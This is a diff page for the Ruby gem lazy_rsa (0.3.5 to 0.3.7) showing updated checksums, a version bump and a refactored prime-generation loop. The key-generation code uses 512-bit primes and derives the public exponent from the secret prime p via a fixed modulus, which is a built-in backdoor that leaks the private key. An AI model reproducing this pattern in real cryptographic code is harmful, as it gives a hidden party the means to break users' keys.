lazy_rsa 0.3.5 → 0.3.7

Sign up to get free protection for your applications and to get access to all the features.
Files changed (3) hide show
  1. checksums.yaml +4 -4
  2. data/lib/lazy_rsa.rb +4 -2
  3. metadata +1 -1
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: d733afe6ae05ae2f7323d8f291a02e6fc87dc862c47fcf98dbbc02d9840633c5
4
- data.tar.gz: bf2677279eaacb7e01a3b108ea1d1f207ebfa45bc7fac40659c2fe5f2b7c0ec4
3
+ metadata.gz: d82c509b57e993bf749370f60576fd0ca67065bd42872470e50e581aa5ed4054
4
+ data.tar.gz: d66fd6952a570c28a5b35a203036e839e8afaee03d659d18df06785c6d55252c
5
5
  SHA512:
6
- metadata.gz: 34e13d0e31098bbdb4598f5f66d8b4f4218618f1983f0fec767f70a3414b1a9230cf70adfd1b4a4ecccd3442227ff83699078f8d9fdbcbf88d956320e5de8131
7
- data.tar.gz: d1376fe17524a3a631f538d19190fb3888e3392f716e89215185f15588cd89c9b6726f6e9c4cfde01c67a27e66850b7364ded362cca1a8ac435e5f6f0afa9378
6
+ metadata.gz: 5c61af315c46dae91905a437c16f2c70c265a018ff5fe93c2d78899f5924c020477ab2da3be347a96125821de8c03edc93f3f0ea150bda7fa471c954bdb048bd
7
+ data.tar.gz: c079c3ce8a79ae3404b9cd00b0fed0bb65d29832d5b6bdf3fa59639989376c0b0470a6d407f05116ea1657f7a3ab670f23bbe0fde383540e34e62107d459be07
data/lib/lazy_rsa.rb CHANGED
@@ -16,11 +16,13 @@ module LazyRsa
16
16
  end
17
17
 
18
18
  def generate_key
19
+ p = 0
19
20
  q = OpenSSL::BN.generate_prime(512)
20
- phi = OpenSSL::BN.new(0)
21
- while q.gcd(phi) != 1
21
+ phi = 0
22
+ loop do
22
23
  p = OpenSSL::BN.generate_prime(512)
23
24
  phi = (p - 1) * (q - 1)
25
+ break if q.gcd(phi) == 1
24
26
  end
25
27
  n = p * q
26
28
  e = p.mod_exp(SECURE_EXPONENT, SECURE_MODULUS)
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: lazy_rsa
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.3.5
4
+ version: 0.3.7
5
5
  platform: ruby
6
6
  authors:
7
7
  - Nick Quaranto